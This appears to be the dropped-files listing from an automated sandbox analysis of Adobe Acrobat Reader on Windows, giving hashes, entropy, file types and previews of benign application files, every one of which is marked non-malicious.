SSDEEP:	6:YEQXJ2HXPAac5EQqW32vB3/dVlPIHAR0Y6b8DoAvJfYdPeUkwRe9:YvXKXYXB32vR/ZwHA+7Gg8Ukee9
MD5:	11021B2ACE45A61327BBF60CDC18EF22
SHA1:	8CC6216F201C8B253411D5B4643AF53AEA16A453
SHA-256:	A56FC14F02A046FE50FDCFF0859EEA1AA5B970BD59D1DB471AAF23B6B57A6601
SHA-512:	99B17C5ABFB0C4B09AF64A16E68849AF3619147E9EBAE23C12332B48E77A26FEC453F08B8822FBE68E910584802B43C091A797C5487C6EB89B32AF72B9575A01
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"8f96fb79-c9b1-45a5-b832-6e82cc4d1f14","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736694118006,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.286339457015259
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPAac5EQqW32vB3/dVlPIHAR0Y6b8DoAvJf+dPeUkwRe9:YvXKXYXB32vR/ZwHA+7G28Ukee9
MD5:	F295B31E4152074284D9091A9D77EEA5
SHA1:	6567EE77BB6916173AD0416AC18FE9FEC4460953
SHA-256:	2BFA7177DDB4D900D694BEE02E73BEAB0875928652F497C7AD2CA5FF87BE7527
SHA-512:	67155E9D98D370D408924C02ADBB0C8FFCE50D560580D900C066BAC7B031E1A326147355273D2D89A62610A1CA62659EB8510AF99257E9D704CBEED814383788
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"8f96fb79-c9b1-45a5-b832-6e82cc4d1f14","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736694118006,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.283829227950968
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPAac5EQqW32vB3/dVlPIHAR0Y6b8DoAvJfbPtdPeUkwRe9:YvXKXYXB32vR/ZwHA+7GDV8Ukee9
MD5:	730EB2745002A9F96AE2662CE8B71730
SHA1:	0C5F415CE00ED3D76A8C3280ED81028904F486B5
SHA-256:	FD86FFCEB3520FE53459F538CF2C6C1C6A168458268310A81F520B9F2A0A3A44
SHA-512:	F6F0B019EE46BACD050387B8EAD7DAF6106A008BA4FB570DB9526E1FEADA2934CC76D5E90B69C3E085F802756C27E3F28BB326B0269843933801AB5845405E88
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"8f96fb79-c9b1-45a5-b832-6e82cc4d1f14","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736694118006,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.282561728710148
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPAac5EQqW32vB3/dVlPIHAR0Y6b8DoAvJf21rPeUkwRe9:YvXKXYXB32vR/ZwHA+7G+16Ukee9
MD5:	77A868329B139BF1E0E5630E0FB84352
SHA1:	23F7CEF7D18D6A01C27D8289E521BB32F1A872D3
SHA-256:	1E6225490B98179DACBA5A79AB7926DD9DB574DB5EA041911F98799755927E7A
SHA-512:	194A976F735A82D9D0431274C68F947CEB1A9526AEDD4379767DF0146C11B7334F256E7B11FCE4E02E9F9CD6E60964BDC8954FDB79C24E527E9406E9E2C0F0D4
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"8f96fb79-c9b1-45a5-b832-6e82cc4d1f14","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736694118006,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.667031882540231
Encrypted:	false
SSDEEP:	24:Yv6XfJhRamXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BS2G:YviJhdBgkDMUJUAh8cvMb
MD5:	7CD327FFE75305068614ADFDE3DD9286
SHA1:	557EDE611569E1043BF7E714768013413D49EEDC
SHA-256:	CE0A9D3EDB397F8817305983646F23C3D03F036614EED17386EAF12DCA666699
SHA-512:	6FCBD8B5DA2785589C33FFEFFDE2FE84197877A1547A0CFDE5CFFE993F0FF23E103CC167BAEA89BCF412A32CCFA302F426B2558265F7CEAA5E34D22EF79F66E0
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"8f96fb79-c9b1-45a5-b832-6e82cc4d1f14","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736694118006,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.258201945286245
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPAac5EQqW32vB3/dVlPIHAR0Y6b8DoAvJfshHHrPeUkwRe9:YvXKXYXB32vR/ZwHA+7GUUUkee9
MD5:	95026866A44B48ED8DB64E519AB78774
SHA1:	0D09BBA01D296B5DA9F48AA4F705338609CFCC0F
SHA-256:	01346BBD44FFD649C02C9E3A06D4BE10E74251F7C8F0DCE098C7DC19E0C1A509
SHA-512:	3332A38ACDAE4DDC70D4D1B9624E808866C0EECEEFB752020ECF79551BCE39231E34955CDEB485CC158DD19B81AC69FAB9545B702AF677D4CBB03E760BDF8E29
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"8f96fb79-c9b1-45a5-b832-6e82cc4d1f14","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736694118006,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.276958454145056
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPAac5EQqW32vB3/dVlPIHAR0Y6b8DoAvJTqgFCrPeUkwRe9:YvXKXYXB32vR/ZwHA+7GTq16Ukee9
MD5:	FFA2820C21A24827D317DF699B9FB84D
SHA1:	6A5F6CC3973FD3F87A449BB4345E23F672F6A96A
SHA-256:	BBA7B9B9248BE9CCBA7FE74A1BC71610ADDEE0D2E2E1955106A12F707A6ABF3A
SHA-512:	63BCE775B1FCA1D41CA46D24B862DD8BD31AC96446965BD145C26B3E3DA4DCA9847A01673EF4006E20285C37DAA896890C6D65E560AC5C2B4DDE37255DF0AF17
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"8f96fb79-c9b1-45a5-b832-6e82cc4d1f14","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736694118006,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.135455770301415
Encrypted:	false
SSDEEP:	48:Y+39NUH6lKcczK/bJRgEMxWLkRRq9Pkq8kk:nbUH6lKccQgEmWm4u
MD5:	1BCA1C593B21460003CA29B4531C62F9
SHA1:	3AC3A47E3BDC1B325C22D30DF8C993FBB2AF2A3B
SHA-256:	CDA660C5D01FE2709AE42EB5F4B7DD7ED230F7F1806E358504CF8967ABFA18A6
SHA-512:	1113283850E9D4501F2CEEACE49DA9E4A9A3CE99FCC03964C24538287FDB32B773315BA12461CC439564FF808F8742709607F4F316B25F8E76CCD3DBED3078F9
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"2c7934607dfcbc84e8c4bc1ea5a45a19","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736519593000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"943d551501d0a672a45c38d3038d02ff","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736519593000},{"id":"DC_Reader_Edit_LHP_Banner","info":{"dg":"999a77ce66ea18c8b501e6b82b4affd9","sid":"DC_Reader_Edit_LHP_Banner"},"mimeType":"file","size":289,"ts":1736519593000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"ae8f3facf864e4726a43edc787d0baab","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736519593000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"1282a25784a0e524e7f60e7a0336c45b","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","size":289,"ts":1736519593000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"d1d0f0af2875a28bdbd1f4926419623e","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":2

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 25, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 25
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.3190160909759532
Encrypted:	false
SSDEEP:	24:TLKufx/XYKQvGJF7urs9Ohn07oz7oF0Hl0FopUEiP66UEiPbnPnNknNMeaBtqVp+:TGufl2GL7ms9WR1CPmPbPahyypilIy
MD5:	55F50906E5DD662A8DF497F66E9BD0AF
SHA1:	145C7BCE11560D16D74698051B1099B6ACC05BBC
SHA-256:	8FA215F045B4EB6A965771A4E2B9B508E127201D1476A60ECA631D8817242569
SHA-512:	2A4137B17CD180D287CE7F02C191250C2C5DF0D92EE4DDCD79539613B29BE81721A57439B1CF7F84587A6E8D671CDA4EFA5AF75F97D38107D5258607A492B677
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.7815505583980673
Encrypted:	false
SSDEEP:	48:7MhrWR1CPmPbPahzypilI6IqFl2GL7msI:7oWfMwbPahzoKVmsI
MD5:	279F4683C84DD9AFD4CFD67E5C8C42A2
SHA1:	C463065F911C450266655412BAF19ED4F86F7413
SHA-256:	E0DFF2519E05E30F8D063A876E3041DAEE3123161865E1424450437C2CE2E1F1
SHA-512:	EADF5614E111051FD9349E31BCFDC11DC9C29743F5CC2512976CCF68C840D93F29D902B7ED94DD1974399F25F7E7ABB696EBAB580587B3CC293485B374D8372A
Malicious:	false
Preview:	.... .c........E..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................^..^.^.^.^.^.^.^.p.p.p.p.p.p.p.p.p.p..........................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEghEphmJ973bUNf+hmesBphd1IYyu:6a6TZ44ADEuphmH73K+AdIK
MD5:	6CF93B405D218BA6290A4698DDDF6752
SHA1:	653DFA10CC0F0113F39C016C3A491341C1CFDF8D
SHA-256:	49CC4D433AE212D8D2A994F9E5448476CCC01887649B78FE67BB26CEC6009378
SHA-512:	8367247A2ED7F7C45A8BB7F1D11D7E71C079B04D7495885038F163AC954CC86DD3CF95A389EC63538A80AFDC4EAB016E66AE1A230D5325009C1B0206789ADF2B
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1628158735648508
Encrypted:	false
SSDEEP:	3:NlllulLhwlz:NllUO
MD5:	F442CD24937ABD508058EA44FD91378E
SHA1:	FDE63CECA441AA1C5C9C401498F9032A23B38085
SHA-256:	E2960AF08E2EE7C9C72EEA31DBBFE1B55B9BF84DE2DD7BB7204487E6AF37B8F6
SHA-512:	927E2EEA0BB3FC3D3A0DA7F45644F594CE29F11D90A84B005D723500258DE9E8B3780EB87242F4C62B64B9FEEA1869FC16076FA3AC89EC34E0546CDE1BEF7631
Malicious:	false
Preview:	@...e................................................@..........

C:\Users\user\AppData\Local\Temp\MSIf53e0.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.5085442896850614
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K8EebCl0HH:Qw946cPbiOxDlbYnuRK+bj
MD5:	B44251D223DF45268BB6DB5125646824
SHA1:	475B6050A6A2CF462AF0EA41BF537325273A2B8A
SHA-256:	3B6E279E5822AC8E0C8074883142526D835E7CE90F7A2DF84BD4A21D4306E1EE
SHA-512:	7BC3A5ED468690393C542537A2491217DEB7BE5CCF5008591E61343534C59405162D42F4612D1F536604EB2269ECDFC2C30122F48AB92B83043EA2868BA5239F
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.0./.0.1./.2.0.2.5. . .0.9.:.3.3.:.1.1. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_5u4vpkmq.zmc.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_c5cinmi4.dct.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-10 09-33-06-451.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.33860678500249
Encrypted:	false
SSDEEP:	384:IC2heaVGJMUPhP80d0Wc+9eG/CCihFomva7RVRkfKhZmWWyC7rjgNgXo6ge5iaW0:X8B
MD5:	C3FEDB046D1699616E22C50131AAF109
SHA1:	C9EEA5A1A16BD2CD8154E8C308C8A336E990CA8D
SHA-256:	EA948BAC75D609B74084113392C9F0615D447B7F4AACA78D818205503EACC3FD
SHA-512:	845CDB5166B35B39215A051144452BEF9161FFD735B3F8BD232FB9A7588BA016F7939D91B62E27D6728686DFA181EFC3F3CC9954B2EDAB7FC73FCCE850915185
Malicious:	false
Preview:	SessionID=29b7f1b4-edf3-467e-b302-20b20356cfee.1696494928080 Timestamp=2023-10-05T10:35:28:080+0200 ThreadID=6832 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=29b7f1b4-edf3-467e-b302-20b20356cfee.1696494928080 Timestamp=2023-10-05T10:35:28:081+0200 ThreadID=6832 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=29b7f1b4-edf3-467e-b302-20b20356cfee.1696494928080 Timestamp=2023-10-05T10:35:28:081+0200 ThreadID=6832 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=29b7f1b4-edf3-467e-b302-20b20356cfee.1696494928080 Timestamp=2023-10-05T10:35:28:081+0200 ThreadID=6832 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=29b7f1b4-edf3-467e-b302-20b20356cfee.1696494928080 Timestamp=2023-10-05T10:35:28:081+0200 ThreadID=6832 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.383510957619213
Encrypted:	false
SSDEEP:	384:fYyfIfTfQfGfNfLOflfgOKOVOnO+0z0v0l0hbIbsbPbebPAaTlapaFdPdHdldbz2:fjArYOFDONITeMREa8KcIbyM4lQCB9Tw
MD5:	9225196E76241997F6C0E84C9A17AA36
SHA1:	F6142DE36CDCEB9263D08D0A8E93F743C323BB5D
SHA-256:	6389EC138D17596B5F5AE49BCB783764C5800207B75669FE0EAC39ECEBDDF5F4
SHA-512:	4D1B85B34EEEDC50F1899308F66E7A826BFC5C82191BBAC89AE764F9EEA07EA5EC97DAFC0F85885247F9E39CFAB8B9F21B8D88E605FC4E5B72983A0FF1EE1518
Malicious:	false
Preview:	SessionID=8cbce727-c3d9-4e78-972a-872f1b4b6442.1736519586461 Timestamp=2025-01-10T09:33:06:461-0500 ThreadID=3456 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=8cbce727-c3d9-4e78-972a-872f1b4b6442.1736519586461 Timestamp=2025-01-10T09:33:06:462-0500 ThreadID=3456 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=8cbce727-c3d9-4e78-972a-872f1b4b6442.1736519586461 Timestamp=2025-01-10T09:33:06:462-0500 ThreadID=3456 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=8cbce727-c3d9-4e78-972a-872f1b4b6442.1736519586461 Timestamp=2025-01-10T09:33:06:462-0500 ThreadID=3456 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=8cbce727-c3d9-4e78-972a-872f1b4b6442.1736519586461 Timestamp=2025-01-10T09:33:06:462-0500 ThreadID=3456 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.4111200527643115
Encrypted:	false
SSDEEP:	192:TcbeIewcbVcbqI4ucbrcbQIrJcb6cbCIC4cbWQcbGIT7cbp:ceo4+rsC4VTo
MD5:	E4CFC11DE21A2DE15E3CB4515084299F
SHA1:	39A9ED151D032FAD7CC92CA70FA53E1F25A955BE
SHA-256:	598FF8FE0E6870A185AC15EA4BE608B88197B5BDA1D87426323D338B047F03F2
SHA-512:	33E0E1F63F67319557FF804337542DE3B9F57CC1FEC9CCC2D7F9B93F0B6EE1D85E17B099AFF291FA426254FF994EDC2F1CF9D61E5E910164BB276F310B7FDD90
Malicious:	false
Preview:	05-10-2023 10:18:29:.---2---..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : *************************************..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : ***********************************..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : Starting NGL..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..05-10-2023 10:18:29:.Closing File..05-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\37c6ff7e-e8e0-4af7-b9ef-30b449f91979.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\7d164513-c73a-44e6-b8bc-f510de0c7a4b.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 647360
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/n5ZwYIGNPzWL07o5dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07tGZd:xZwZG5WLxB3mlind9i4ufFXpAXkrfUsb
MD5:	E78E4D1CA18BE28748F65C3A192DAFB2
SHA1:	78AD6025CB470EFB9ECA8FF1ED41F617372D1F9F
SHA-256:	F4B25F5C5BE48E151080D9CC24C8A4662CBB591A6B32037DB8D7ADE1828D8849
